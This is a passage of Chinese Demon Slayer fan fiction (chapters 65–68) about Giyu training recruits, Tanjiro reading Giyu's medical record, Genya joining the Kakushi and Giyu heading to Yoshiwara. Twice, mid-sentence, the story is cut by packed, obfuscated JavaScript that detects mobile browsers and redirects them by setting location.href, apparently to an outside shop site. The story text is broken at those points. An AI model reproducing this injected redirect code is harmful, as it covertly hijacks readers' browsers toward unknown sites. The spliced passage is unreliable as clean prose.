嘴平伊之助凑过来,一只手叉腰,一只手握刀:“为了让自己变得更强,才要一直挥刀。” 坐在他们旁边的人跟着道:“我的家人都被鬼杀掉了,我不想再有无辜的人和我一样家破人亡才想加入的鬼杀队。” “我的话,嘿嘿,说得冠冕堂皇一点,就是为了正义。鬼杀了那么多无辜的人,我又有能力,为什么不出一份力,去维护人类的正义呢?” “我也差不多,为了无辜的人,为了让大家在晚上都能安心地睡觉。” 灶门炭治郎语气温和:“你呢,善逸?是什么让你坚持下来的呢?” 我妻善逸盯着手中的刀:“我不想辜负爷爷的期望。爷爷一直很疼我,也很照顾我。” 灶门炭治郎鼓掌:“那这就是善逸你的理由啊。” 我妻善逸又忍不住哭嚎:“可我真的怕死!我这么弱,怎么可能杀死鬼!” 一团水从天空降落,浇了我妻善逸一头。 “无谓的自我否定是最没有意义的。”富冈义勇的话传来,“如果怕死,那就不要战斗。” “雷之呼吸讲究速度,如果你的心有犹豫,手中的刀也会变慢。” “我妻善逸,如果你找不到挥刀的理由,那你又能否握紧刀,站在我的面前?” 他不能被逐出鬼杀队。 爷爷作为前任鸣柱,有着很高的声望,不能因为他而受到损失。 我妻善逸咬咬牙,从地上站起来,双手握紧刀把:“我能!” 休息的人群自觉让出位置,让富冈义勇能够看到我妻善逸。 富冈义勇坐在木桩上休息,闻言,他站了起来,将木刀握在手中。 他看向我妻善逸:“那就上前来。” 我妻善逸调整呼吸,右手放在刀把上,用出雷之呼吸的第一型,霹雳一闪。 他的身体像是闪电一样蹿出去,灶门炭治郎甚至都没有看清。 富冈义勇朝左一迈步,手中刀一挥,用出七之型的雫波纹击刺。 我妻善逸直接被打到,整个人直接仰面摔倒在地上。 他瞪大着眼,不知道发生了什么事。 “还算有点样子,但你的速度还能更快。”富冈义勇挽了个刀花,重新坐下休息,“雷之呼吸,作为五大基础呼吸法之一,以速度与攻击为重。” “第一型霹雳一闪,更是将速度用到极致。” “如果你的速度够快,这一型足以让你斩杀大部分的鬼” 富冈义勇俯视躺在地上的我妻善逸:“但你的雷之呼吸,速度太慢,攻击太弱。” “完全不及格。” 我妻善逸被骂得又想哭了。 富冈义勇环视周围的一群人:“你们绝大多数人的实力都不及格,还差得很远。” “但只要你们有想要变强的心,一切都不算晚。”他浅浅露出一个笑容:“毕竟,我是为了提高你们的实力才来教你们。” 那是泛着涟漪的纯净海面。 让人心安,又充满希望。 “水柱大人,我们一定会努力的!” “富冈先生,我一定会加油的!” 富冈义勇收起笑容,又恢复成如常的平静:“你们的休息时间还有三分钟。” 一群人又开始哀嚎。 65.第 65 章 在最后的实战训练里,灶门炭治郎、我妻善逸、嘴平伊之助还有栗花落香奈乎都被富冈义勇特殊要求了。 这几个人的潜力不低,富冈义勇对他们的要求也要比普通人严格。 这一届的新人都知道灶门炭治郎和富冈义勇是一个师门,原本还很羡慕他的身份,但在特训时看着他被各位柱额外加训,大家就还是觉得幸亏这个人不是自己。 不一样的起点,要拿到的成绩也不一样。 虽然他们不怕苦不怕累,但看着那一个个魔鬼训练,想了想还是算了吧。 富冈义勇依旧不允许灶门炭治郎使用日之呼吸。特训期间,灶门炭治郎也一直使用的水之呼吸。 因为有丰富的自身经验,富冈义勇每天都能卡着极限将将所有人的体力榨干。 灶门炭治郎是最省心的那一个,不管富冈义勇提出什么要求,他都会努力达成。 我妻善逸的性格还是有些怯懦,但在战斗中,也能冷静地分析一切,和队友打好配合,雷之呼吸也熟练了不少。 嘴平伊之助是最麻烦的那一个。 富冈义勇看得出来,他和以前的自己有些像,在身体还能动的时候,就绝不会停下战斗。但他能评估自己的身体情况,嘴平伊之助却不会。 马上就要到身体的极限,这家伙还准备强撑。不懂得休息的人一样需要被教训。 在富冈义勇的单独教育后,我妻善逸和嘴平伊之助都老实了不少。 栗花落香奈乎有蝴蝶香奈惠的教导,是这届新人里最强的那一个。除了多人的实战训练,在单人对打时,富冈义勇更多是在打教学局,让她对花之呼吸更加熟悉。 在特训的最后一天下午,富冈义勇让他们所有人打配合来和他对打。 灶门炭治郎是新人里最熟悉富冈义勇的,就被一群人盯着问起来。 “炭治郎,你是水柱大人师弟,你知不知道该怎么对付他啊?”有人询问。 灶门炭治郎挠挠头,尴尬笑笑:“可我和富冈先生见面的时间也很少。除了这次特训,富冈先生只教过我三天。” “说起来,炭治郎,你知不知道水柱大人受过伤的事啊?”有人摸着下巴琢磨,“如果水柱大人有旧伤在身,咱们可以专攻他的这点,说不准就能赢下来呢?” “这多少有些胜之不武吧?”有人不愿意。 旁边的人拍了下他脑袋:“你还真觉得咱们能打赢水柱大人啊?” 被打的人捂脑袋:“噢,也是。” 灶门炭治郎微愣,疑惑地看过去:“受伤?” 最先提到的人笑笑:“特训的时候有次淤青有点重,我就去蝶屋处理了一下,然后就碰见了一个前辈和护士小姐在走廊说什么。” “那位前辈是甲级队员,应该刚执行任务回来,身上都受了伤。两个人就站在病房口,我恰好路过,就听到那个前辈说这个病房是水柱大人的专属病房,还说这个病房的玻璃没人比他更熟悉,然后强烈要求换一个房间。” 说着说着,这人就笑了笑:“虽然咱们都刚入队,但大家都清楚蝶屋对所有队员都是一视同仁的。” “柱和咱们这些新人的待遇除了薪资以外,都没有差很多,所谓的专属病房应该也是那位前辈的戏称。我是想着,既然都专属病房了,水柱大人应该受过很严重的伤才是。” 有人望向栗花落香奈乎:“说起蝶屋,香奈乎应该更熟悉啊。” 栗花落香奈乎歉意地笑笑:“医护人员是不能透露病人隐私的。” 她想了想,挑了些能说的东西:“不过富冈先生确实在蝶屋待过很长一段时间,还帮着我们一起工作。” 一旁的灶门炭治郎愣住。 富冈义勇的负责,在场的大家都有目共睹。 而在灶门炭治郎到了狭雾山后,富冈义勇快两年没有露面,连一份信也没有寄来。 后面富冈义勇来看他时,身上还有非常浓的药草味。虽然他说是安神香囊的味道,但那么浓重的气味,绝不是一个香囊能积攒下来的。 当时见富冈义勇不愿意多谈,灶门炭治郎也就没多问。 当初隐的人说富冈义勇去执行秘密任务。如果这个任务,是伤得太重去蝶屋养伤了呢? 想到这个可能,灶门炭治郎就坐不住了。 他很想找富冈义勇问清楚。 在站起来的那一刻,灶门炭治郎看见了富冈义勇望过来的眼神。 疑惑,不解。 这个时间是给他们排兵布阵用的,炭治郎站起来做什么?看上去还快哭了一样。 灶门炭治郎回神,重新坐下来。 他拍了拍脸颊,做了几个深呼吸,让自己冷静下来。 现在不是合适的时机,等特训结束,再私下问富冈先生吧。 灶门炭治郎开始分析:“富冈先生的实力大家都很清楚,想要赢他,还是要出奇制胜。” “咱们可以分成三组,分别……” 一旁的富冈义勇见灶门炭治郎坐回去,就收回了视线。 不过他莫名有一种感觉,总觉得有什么很难处理的事情要发生了。在接触过彼岸河水后,他就有了一种莫名的感知。 富冈义勇回想着最近的事情,并没有发现有什么不对的。但这种感知不会出错,他便皱了皱眉头,开始思考。 还不等富冈义勇思考完,那边的新人就斗志昂扬地站了起来。 一群人兴致勃勃,全都握紧着手里的刀。 “水柱大人,我们准备好了!” 富冈义勇收回思绪,也同样站起身,将木刀握在手里:“好,开始吧。” “你们先出手。” 一群人对视一眼,就按照刚刚商量好的对策开始行动。 富冈义勇很是认真,观察着每个队员的动作,顺便在心中记下他们的错漏。 新人们很有自信,但所有的谋算在富冈义勇面前都成了绣花枕头,一刀就能斩断。 一群人趴得趴,躺得躺。 富冈义勇环视了一圈,然后迅速转身,抬手挡住嘴平伊之助的双刀。 我妻善逸随即用出霹雳一闪,朝着富冈义勇攻过去。 富冈义勇手上用劲,弹开嘴平伊之助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350964|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刀,然后脚尖轻点,跃到空中,躲开我妻善逸的攻击。 但我妻善逸这次用的是霹雳一闪六连,富冈义勇位置一换,他也跟着调整位置。 富冈义勇悬在半空中,握紧刀,扭动身体,用出水之呼吸二之型,水车,将我妻善逸的攻击全部挡住。 他一脚踹开我妻善逸,眼看就要落回地面。 这时,栗花落香奈乎和灶门炭治郎同时从树上跳了出来。 他们俩之前已经被富冈义勇打退过,趁着富冈义勇和别人纠缠时,纷纷跃到了树上,等待着时机。 栗花落香奈乎用出花之呼吸的五之型,无果芍药,刀刃凌厉,攻击极强。 灶门炭治郎用着水之呼吸的八之型,泷壶,斩击猛烈。 没有支撑力,富冈义勇直接用双手握刀,旋转身体,用出水之呼吸的六之型,扭转漩涡,直接将两个人的招式全部斩碎。 他刀身一扬,就将两个人弹飞出去。 这时候,刚刚还在地上动不了的队员凭借意志站了起来,纷纷用最后的力气用出了拿手的招式。 不死川玄弥也在其中,他双手握紧刀,直接冲着富冈义勇砍过去。 富冈义勇落到地面,还没站稳,直接脚尖轻点地面,快速移动身体,用出水之呼吸的三之型,流流舞。 他用刀挡下绝大数的攻击,又在移动时将靠近的人全部打趴下。 这群人没了力气,被富冈义勇打到就躺回了地面。 “加油啊!”他们嘶哑地大声喊着。 等富冈义勇打倒靠近的最后一个人时,嘴平伊之助的双刀直接从他面前攻了过来。 兽之呼吸,五之牙,狂乱撕扯。 他的双刀挥出无数斩击,最适合在敌人被包围的时候用。 富冈义勇的身后我妻善逸正要用出雷之呼吸的霹雳一闪。 栗花落香奈乎和灶门炭治郎也快速靠近,朝富冈义勇攻过去。 富冈义勇笑了下,直接跃起,在空中向下刺出。 水之呼吸,七之型,雫波纹击刺。 所有人的眼前都成了一片蓝色。 水刺直直地朝所有人打过来。 躺在地上的人挣扎着想要躲开攻击,却在水落到身上的那一刻疑惑地望着天。 没有一点痛意,轻柔的雨丝落到了他们身上。 “彩……彩虹!”有人愣愣地抬着头。 七之型转五之型。 在化解掉四个人的攻击后,富冈义勇就直接变了招。 他轻飘飘地落到地上,脸上挂着满意的笑容:“这一次打得不错。” 富冈义勇点出刚刚所有人的问题,环视了一圈,脸上的笑意清浅而又温和:“特训顺利结束。未来你们就要开始接取任务,希望你们所有人都能平安归来。” 阳光照在他们身上,七彩的虹光仿佛触手可及。 美丽,绚烂,让人充满希望。 一时之间,所有人都呆愣住。 不知何时,有人大声地庆贺。 伴着笑意与泪水,两年一度的特训,在此刻顺利落幕。 66.第 66 章 在特训正式结束后,灶门炭治郎去找了富冈义勇,他很想知道那两年里到底发生了什么。 富冈义勇望着一脸纠结的灶门炭治郎,疑惑地问:“怎么了?” 灶门炭治郎不知道该怎么说出口。 富冈先生,你之前受了很重的伤吗? 富冈先生,你之前在蝶屋养过很久的伤吗? 怎么想都不合适啊…… 灶门炭治郎忽然灵机一动,看向富冈义勇:“富冈先生,咱们一起去泡澡吧?” 富冈义勇眼中满是不解:“泡澡?” 灶门炭治郎连连点头:“刚刚和我们对战,富冈先生一定很累了。一起去泡澡缓解一下疲惫吧?” 富冈义勇盯着灶门炭治郎看了好一会,把灶门炭治郎都看心虚了。 他知道之前的预感是怎么回事了,炭治郎应当是从哪里听到他伤重的事情。他不想直接问自己,就拐弯抹角想要看他身上有没有伤。 富冈义勇不排斥和人一起泡澡,但在这种前提下,还是算了吧。 他身上究竟有多少伤疤,他自己都没数清楚过。 富冈义勇无奈叹气,语气平静:“特训期间听到什么传闻了吗?” 灶门炭治郎摸摸后脑勺,尴尬笑笑。 “在见主公时,他应该问过你要不要在和鳞泷老师定期联络的信件里提及未来出任务时的受伤情况吧?”富冈义勇问他。 灶门炭治郎点头:“是有这件事。” “你的答案是什么?”富冈义勇看着灶门炭治郎,海蓝色的眼眸如静水一般深邃。 他们两个人的性格几乎完全相反。当时的他不想给任何人添麻烦,更不想鳞泷老师为他担心,所以选择了隐瞒。 炭治郎性格开朗,为人和善,能照顾到身边的每个人。这样的他,会选择什么? 富冈义勇很是好奇。 灶门炭治郎好像明白了富冈义勇的意思:“鳞泷先生在狭雾山很孤单,我是很想经常写信给他。但后面要执行任务,肯定很难回去,所以还是选择不要告诉鳞泷先生我受没受伤了。” “毕竟我也不想他为我担心。”灶门炭治郎释然地笑笑,“富冈先生也是这样想的吧,所以将自己受伤的事隐瞒得很好。” 富冈义勇错开视线,缓缓地说:“我只能告诉你,现在的我很健康。至于其他往事,我不愿多提。” 他的心理问题已经解决,也会经常怀念和家人、同伴的快乐时光。但伤病总与苦难相关,他无意剖析过往一切。 那些风风雨雨,他都已经熬过来了。 现在的他很好。 “如果只是想知道我的受伤情况,可以去蝶屋找花柱蝴蝶香奈惠,和她说是我让你去的,她会给你看我的病历。” “这件事对你来说其实并不重要。你现在要做的是提升实力,保护好自己和妹妹。过几天炎柱就会选择你当他的继子,到时候跟着和他好好学习。火之神神乐的事,也可以告诉他,什么时候能用出来也要听他安排。” 和之前说好的那样,炼狱杏寿郎会让灶门炭治郎成为他的继子,帮他掩盖日之呼吸一事。 通过这段时间的接触,炼狱杏寿郎很是欣赏灶门炭治郎,还问过富冈义勇要不要真的把这个师弟让给他。 富冈义勇没有改变当初的决定:“我有空的时候,会过去看你的。” 他希望每个人的路都能走得平坦无阻,毫无阴霾。 “有什么事可以让鎹鸦寄信给我,我先走了。”富冈义勇对着灶门炭治郎点点头,就直接离开了。 天快黑了,他也该吃饭去了。 为了更了解富冈义勇,灶门炭治郎去了蝶屋。 “是富冈先生让你来的吗?”蝴蝶香奈惠有些惊讶。 病历是很隐私的东西,她没想到富冈义勇居然愿意让灶门炭治郎看。 灶门炭治郎认真地点头:“我很想了解富冈先生,拜托您了。” 蝴蝶香奈惠温柔笑笑,起身找出富冈义勇的病历本:“病历能给你看,但别的我不会多说。” 经历和病历一样,都是一个人的隐私。富冈先生自己不愿多说,他们这些人也不会在背后谈论他的往事。 “十分感谢!”灶门炭治郎双手接过病历,找了个不碍事的地方开始翻看。 那是很厚的一本。 灶门炭治郎听鳞泷左近次说过,富冈义勇是在13岁加入的鬼杀队,今年已经21岁了。 从第一页开始,灶门炭治郎看得很仔细。 除了姓名,性别,年龄这些基础信息,就是什么时间,有什么伤势,进行了怎样的处理。 嗓子发炎。 数不清的外伤和发烧。 腹部近似贯穿伤、指尖外伤。 左肩骨裂、内脏器官受损、身体多处收口,失血严重。 在翻到这里时,他翻不下去了,蹲在地上就开始哭起来。 为了不弄脏病历,灶门炭治郎的一只手抬在空中,将脸埋在另一只手臂后。 眼泪止不住地往下流,心脏也钝钝地疼。 富冈先生明明是那么好的人,那么温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355281|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那么负责。 灶门炭治郎擦去眼角的泪,抑制着悲伤,继续翻阅着病历。 一些很常见的外伤。 之后又是密密麻麻的文字。 右肩粉碎性骨折、肋骨断裂、喉咙冻伤、失血过多,全身多处撕裂,胸口存在三十厘米长的划伤。 高烧不退,昏迷不醒。 还有最近的,手背划伤。 每一个字,都藏着富冈义勇的痛苦。 灶门炭治郎深呼吸一口气,将病历还给了蝴蝶香奈惠,朝她鞠了一躬,异常安静地走出了门。 “香奈惠,用出去看看吗?”办公室的医生有些不放心,这孩子看上去似乎不太好。 蝴蝶香奈惠轻抚病历的封面,摇摇头:“任谁看完这份病历,心情都不会好,让他一个人缓缓吧。” 医生叹了口气,了然地点点头。 她在蝶屋干了这么多年,像富冈义勇这样屡次濒危的人,也是少数。 蝴蝶忍在旁边补刀:“珠世小姐那边还有一份富冈的医案,我没看过里面的内容,但看厚度,不比咱们这里的病历薄。” 另外两个人纷纷叹气。 离开办公室的灶门炭治郎,直接找了个没人的病房。 他将门关上,身体顺着门板滑坐到地上。 灶门炭治郎用手支着脑袋,眼泪止不住地流。 “炭治郎,你一定要好好提高自己的实力,才不辜负义勇付出的一切。”在看病历时,灶门炭治郎就想到了产屋敷耀哉对他所说的这句话。 他仔细地核对了病历的时间,确认富冈义勇险些丧命的那一次,就是在救完他和妹妹之后。 那两年里,他一直在养伤。 难怪他没有回狭雾山,身上又有那么浓的药草气息。 当初审判时,富冈先生的手背被划伤,他还有些奇怪大家的反应为什么那么激烈。 现在他懂了。 但凡看过那本病历的人,都无法在见到富冈先生受伤时变得平静。 灶门炭治郎一想到他和妹妹在看到希望的时候,富冈义勇正躺在病床上生命垂危,他的心就有种说不出的痛。 为他和祢豆子指出前路,伤重痊愈以后就来看他和妹妹,认真地教导他,为祢豆子鬼的身份担保,帮他想办法隐藏火之神神乐。 他一直在被动地接受,却从没有想过富冈义勇为此付出了什么。 用生命铺就他人的未来。 这是鬼杀队每一位成员都会做的事。 而富冈义勇将其践行到了极致。 67.第 67 章 灶门炭治郎在离开蝶屋以后,就去找了珠世。等他过去的时候,灶门祢豆子已经醒了。 他抱着灶门祢豆子又哭了一顿。 愈史郎看见灶门炭治郎两只眼都哭肿了,盯着他看了好久,最终递给他一袋冰块敷眼。 “珠世小姐,我就先带着祢豆子离开了。”灶门炭治郎的声音有些喑哑,明显是哭多了。 珠世没有阻拦,毕竟她时常需要更换据点,灶门祢豆子跟在她身边也不安全。 “后面执行任务多加小心,每个月记得去蝶屋给祢豆子抽血。”珠世叮嘱道。 灶门炭治郎微微躬身,笑笑:“嗯!我会小心的。” 背着灶门祢豆子,灶门炭治郎跟着鎹鸦天王寺松右卫门,来到了任务指定地点。 我妻善逸和嘴平伊之助都在等他。 他们三个人关系比较好,第一次任务也准备组队进行。 “善逸,伊之助,走吧。”灶门炭治郎笑着对两个人说。 嘴平伊之助盯着灶门炭治郎看:“你这家伙,眼睛怎么这么红?” 我妻善逸也点点头:“看上去像哭肿了。我都很久没哭过了。” 灶门炭治郎垂下眼眸,轻轻呢喃了一句:“我只是忽然发觉自己有些幸运。” 能遇见富冈先生,遇见大家,他何其有幸。 他温和地笑了笑,然后摇了摇头:“没事,咱们出发去做任务吧。” 两个人“哦”了一句,也没再多问,跟着鎹鸦的指引前往任务的目的地。 在通过特训后,所有新人都接到了任务,除了不死川玄弥。 不死川玄弥对此早有预料。 毕竟在特训前,他见过产屋敷耀哉。 他当时曾说:“玄弥,吃下鬼的身体,获得鬼的能力,这无疑于与虎谋皮。” “你可以跟着大家一起特训,但能否同意你用这样的能力去执行任务,我和九位柱还需商议。” 在特训时,不死川实弥也和不死川玄弥聊了一回。 “我不知道你是怎么发现自己这个能力的,但那一定不是令人开心的往事。”不死川实弥揉着不死川玄弥的脑袋,“我不会干涉你的决定,但我需要对你的安全负责。” “作为哥哥,我不会允许这样的你参与战斗。”不死川实弥控制着语气,尽量显得平和,“在召开针对你的柱合会议时,我会毫不犹豫地投反对的那一票。” “玄弥,我希望你能平平安安、幸福安稳地度过这一辈子。” 不死川玄弥当时就抱住了自家大哥:“哥哥之前一直在保护我,我也想去保护别人,保护哥哥。” “我不想只是在背后看着哥哥战斗。” 他们分开了太久,不死川玄弥不想只能躲在哥哥的背后了。 不死川实弥抱着弟弟:“虽然我没有立场说这句话,但保护珍视的人,并不是只有战斗这一件事。” “加入隐,你同样可以发挥自己的价值。玄弥,我希望你能考虑这个提议。” 不死川玄弥很矛盾。 他想要战斗,却没有战斗的能力。 “鬼吞噬人类获取力量,造成了无数的惨剧。若是人类也如此,便显得太过悲凉。” 在听到富冈义勇这句话时,不死川玄弥的心动摇了。 是啊。 鬼正是通过吞噬人类的血肉而变强。 他学鬼去吞噬鬼的身体,不正代表他向鬼低头了吗? 现在尚且没有问题。但如果他在一次又一次的吞噬中,迷失了本心,变成和鬼一样的存在,又该怎么办? 思考了很久,不死川玄弥同意了哥哥的提议,没有等产屋敷耀哉他们召开柱合会议,他就主动申请加入隐。 他会在后方,为所有人提供有力的援助。 不死川玄弥现在和哥哥不死川实弥住在一起,他想通之后,就把这个决定告诉了哥哥。 得知这个消息,不死川实弥特别开心,一把抱住面前的不死川玄弥,激动地说:“太好了!你想通了!” 也不管现在已经天黑了,拽着他就准备去见产屋敷耀哉。 还是不死川玄弥的理智尚在,拉住了不死川实弥,道:“哥哥!主公现在都休息了!” 一时激动的不死川实弥这才冷静下来:“那就等白天,和我去见主公!” 不死川玄弥无奈地笑笑:“好。” 产屋敷耀哉和其他柱知道这件事时,便开始思考要让不死川玄弥去哪里。 隐的成员不需要与鬼直接搏杀,但需要处理组织的各项琐碎小事,职能众多。 “玄弥先生用不了呼吸法,最好还是做一些和前线无关的工作。”蝴蝶香奈惠温柔地说。 炼狱杏寿郎沉吟道:“和前线无关的话,那也还有很多,像是新人的选拔、特训、考核,蝶屋的医护人员,任务的派发,物资采集……” 悲鸣屿行冥转动念珠:“最好是不需要长时间分开兄弟两个人的工作。” 众人纷纷点头。 当事兄弟齐声轻咳。 他们两个人分开了这么多年,确实也不想再分开了。 时透无一郎琢磨:“那就得考虑在总部附近的工作了。” 宇髄天元摸着下巴,华丽地建议:“那就让他负责和退休前辈的定期联络吧。” 纯文职工作,没有危险,还不用到处跑。 富冈义勇赞同:“我没意见。” “我也觉得可以。”其他人也纷纷点头。 产屋敷耀哉看向不死川玄弥:“玄弥,这项事务需要汇总鬼杀队全体队员的近况,并将组织内的重大事项通知到位。你愿意接受吗?” 不死川玄弥挠了挠脸颊:“我对工作内容没有什么不满,但是我能看懂字,却不会写……” 不死川实弥也移开视线,掩盖尴尬。他们家里穷,没钱请老师教他们,所以他和玄弥都只是识字却不会写。 身为风柱,不死川实弥需要处理的文书工作很少,这个缺点也不会影响他的工作。 不死川实弥咳嗽了两声:“要不,让玄弥去蝶屋帮忙?” 不死川玄弥连忙摇头:“哥哥,还是换一个吧。” 他不擅长和女生相处,只要和女生离得太近就会脸红。蝶屋里有很多女孩子,他还是不去那里了。 富冈义勇想了想,提议:“那就去派发任务那块吧,负责队员的任务调动与信息同步。” 产屋敷耀哉给不死川玄弥解释:“这个需要和其他队员一起交流,确认每个人的位置信息,疑似鬼出没的信息,并及时和鎹鸦们同步。” 不死川玄弥点头:“这个我可以做。” 产屋敷耀哉温和笑笑:“那就让实弥带你去吧,到时候会有人带你熟悉内容。” 不死川实弥干劲很足:“这件事就交给我吧。” 站在一边的富冈义勇轻轻弯了弯嘴角。 不死川玄弥的事情解决,之后就是教灶门炭治郎怎么用日之呼吸了。 产屋敷耀哉回屋去了,不死川实弥带着弟弟去熟悉工作。其余人也准备离开,正朝外面走的富冈义勇忽然听到了彼岸河水流动的声音。 他闭上眼,来到海面之上,挥动手臂将彼岸河水斩 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宇髄天元顾不上华丽,一脸担忧地看着富冈义勇:“怎么又是那个河水,它这么喜欢你吗?” “我现在没事了。”富冈义勇安抚他们,“刚刚在拦截彼岸河水时,没有全部拦下来,有些信息被我获取到了。我想看清楚,就有些不舒服。” “这应当不是什么坏事。如果真的对我有危险,我是能察觉出来的。” 一群人默然,就盯着富冈义勇看。 “主公已经离开了,我去问问天音夫人现在有没有空,请她来看看富冈。”时透无一郎说着就去找人。 这种神神叨叨的事,天音出身神官一族,或许有所了解。 富冈义勇现在已经不难受了,但他清楚大家不放心,就乖乖站在这里等天音过来。 天音正巧无事,跟着时透无一郎快速走过来。 富冈义勇老老实实将和彼岸河水有关的事都说了出来。 天音站在富冈义勇面前,认真地观察他,严肃地说:“义勇现在还是个人类没错。” “嗯。”富冈义勇点点头。 所以重点是这个吗? 余下的人齐齐沉默。 天音笑出来,声音温柔:“你们不必担心。彼岸河水是连接现世与亡界的媒介,其中蕴含着无数的规则与信息。” “神官一族体质有异,就能读懂这些,从而窥探到一些天机。义勇只是个普通人,想要强行解读,肯定会不舒服。如果再有这种事,放任水与你融合就好。” 听完天音的话,柱们齐齐望着富冈义勇那张无辜的脸。 普通人…… 富冈义勇也轻轻笑了下:“放心吧,我真的没事。” 他忽然想起来一件事,问天音:“天音夫人,劳烦你跑一趟,我变彩虹给你看吧。” 天音有些惊喜:“好啊。” 富冈义勇来到院子,日轮刀快速拔出又收回,天边就挂起了一抹小小的彩虹。 看着那漂亮的彩虹,众人心中的忧虑渐渐散去。 回屋休息的产屋敷耀哉得知这件事后,心情十分复杂。 “天音,彩虹好看吗?” “确实很漂亮。” 产屋敷耀哉放下了手里的文件,就准备往外走。 “义勇已经离开了,彩虹也消失了。” “……我去洗个手,休息一下。” 他得调整调整心情! 68.第 68 章 富冈义勇在处理日常事务时,留意了灶门炭治郎三人组的信息,见他们一切顺利,就不再多关注。 在八位柱展开联合围杀后,鬼的行动便收敛了,很少出来闹事。 现在的任务很多都是疑似有鬼出没,并无确定性的结论。 “水柱大人,有最新的消息传来,游郭疑似有鬼出没。”隐的队员手里拿着刚获取到的信息。 富冈义勇接过信件看了眼。 吉原游郭,他听说过这个地方,那里纸醉金迷,充斥着美色与欲.望。 白天安静,夜晚喧闹,正适合鬼的作息。鎹鸦们也盯着这个地方很久,但一直没找出来鬼出没的明确信息。毕竟在这黑暗而又压抑的地方,死亡几乎成了一件很寻常的事。 但鎹鸦们调查到,一个叫做京极屋的店铺近期有很多人受伤,还有多名女性自尽,就连店铺老板娘也离奇坠楼身亡,老板却没有任何动作。 事有蹊跷,鎹鸦们便决定上报。 富冈义勇放下信,交还给队员:“这个地方特殊,不适合女性队员和未成年的队员,就交给我调查吧。” 队员点头:“好的,我这就登记上。但水柱大人,您一个人去吗?要不要喊上其他柱一起。” 队员瞅了眼人员调动的板子:“现下蛇柱大人和风柱大人还没有出去执行任务。” 富冈义勇摇摇头:“那里管制较严,没办法直接带着日轮刀进去。我不用刀也能用出呼吸法,最适合去那里调查。” “如果调查到不对的地方,我会及时让宽三郎请求增援。” 队员还有些不放心,因为富冈义勇执行任务时重伤的次数实在太多了。 富冈义勇与队员对视,安抚道:“放心,我会做好充分的准备。” 海蓝色的眼眸让队员的心渐渐平静,她无奈叹息一声:“水柱大人,还请多加小心。” “嗯。”富冈义勇拍了下她的肩膀,就直接离开了。 队员在人员调动的板子上更新信息。 富冈义勇:外出执行任务中,任务地点为吉原游郭。 在游郭内部就有紫藤花家族,富冈义勇到游郭的时候天还没黑,先去了这里。 “这些是调查到的京极屋相关信息,以及您需要的衣物。很遗憾,有关京极屋我们没能查到更多。”负责的人语气满是歉意。 富冈义勇摇头,语气平缓:“无需如此,你们家族能坚守在这里,就是最大的帮助了。” 他将日轮刀递出去:“我会以顾客的身份前往调查,这期间还请帮我保管一下日轮刀。” 负责人双手接过:“还请小心。不论是否有鬼,这里无疑都是一个罪恶之地。” “我明白的。”富冈义勇点头。 负责人拿好日轮刀,就退出了房间。 富冈义勇翻阅着京极屋的信息。 游郭的人都是白天睡觉,夜晚活跃。夜生活里,会有客人前往不同的店铺,欣赏艺伎的美貌与技艺。 艺伎们多是因为贫困、欠债而被卖到这里的。她们在这里工作,换取衣食住。若是获得有钱人的青睐,就可以被赎身,逃离这里。 艺伎们也分为三六九等,最高级的花魁不仅容貌出众,还冰雪聪明,拥有登峰造极的技艺。 紫藤花家族调查到京极屋自杀的女性有些甚至是当花魁来培养的。 按理说,一名花魁需要花费店家大量的时间和金钱才能培养出来,在店里也拥有着特殊的地位。如果是店内的矛盾,不该有这么多的伤亡才是。 京极屋现在的花魁名为蕨姬,在游郭很受欢迎。 想要调查清楚这里是否有鬼存在,接触这个蕨姬是最快捷的方法。 富冈义勇是准备以客人的身份接触,肯定不能穿着队服进去。 他站起身,准备换上新的衣物。 宽三郎看着富冈义勇换衣服:“义勇,你后面的行动都在屋里,我没办法一直跟着你,有什么情况就大声喊我,我就在离你最近的窗户附近。” 富冈义勇脱下羽织和外套,蹲下身摸了摸宽三郎的头:“我没有什么坏的预感,一定会没事的。你现在年纪也大了,不要老是飞着,要好好休息才是。” 宽三郎蹭蹭富冈义勇的手心。他陪着富冈义勇走过八年,以鎹鸦的年纪来说,已不算年轻。 富冈义勇收回手,继续换衣服,裸露的皮肤上布满伤疤。 游郭是享受的地方,他换上的衣服也很是宽松,胸口露出来不少肌肤。 富冈义勇有些不习惯,将衣服收紧了一些,只裸露出锁骨的部分。 这个衣服是紫藤花家族特别制作的,用的料子很好,上面还绣着暗纹。 富冈义勇穿上觉得很舒服,但因为过于宽松,他总觉得会影响战斗。 他试着挥了挥胳膊,动了动身体,眉头微皱。 穿着衣服行动不方便,但脱了衣服战斗更加不雅。 富冈义勇微叹。 趁着天还没黑,适应一下吧。 房间里没人,富冈义勇就穿着衣服在屋里活动着身体。他没用呼吸法的招式,只是做出简单的攻击动作。 凭借强大的控制力和适应力,富冈义勇终于找到了既不走光也不妨碍他动作的方法。 可喜可贺。 在入夜后,富冈义勇没有直奔京极屋,而是随机选了一家店铺进去逛。 为了显得更加闲适,他将头发也散了下来。 额前的碎发遮住他的眉头,长发垂在脑后,还有几缕头发飘在身前。 富冈义勇脸上没有多余的表情,海蓝色的眼眸在游郭灯火辉煌里显得格外纯净。 无人敢轻视这样的他。 因为谁若是与他对视上,便能察觉到眼眸深处藏着的汹涌怒涛。 清冷,高贵。 那是不染凡尘的纯洁之水。 富冈义勇进到店里就吸引了很多人的目光,有客人的,也有艺伎的。 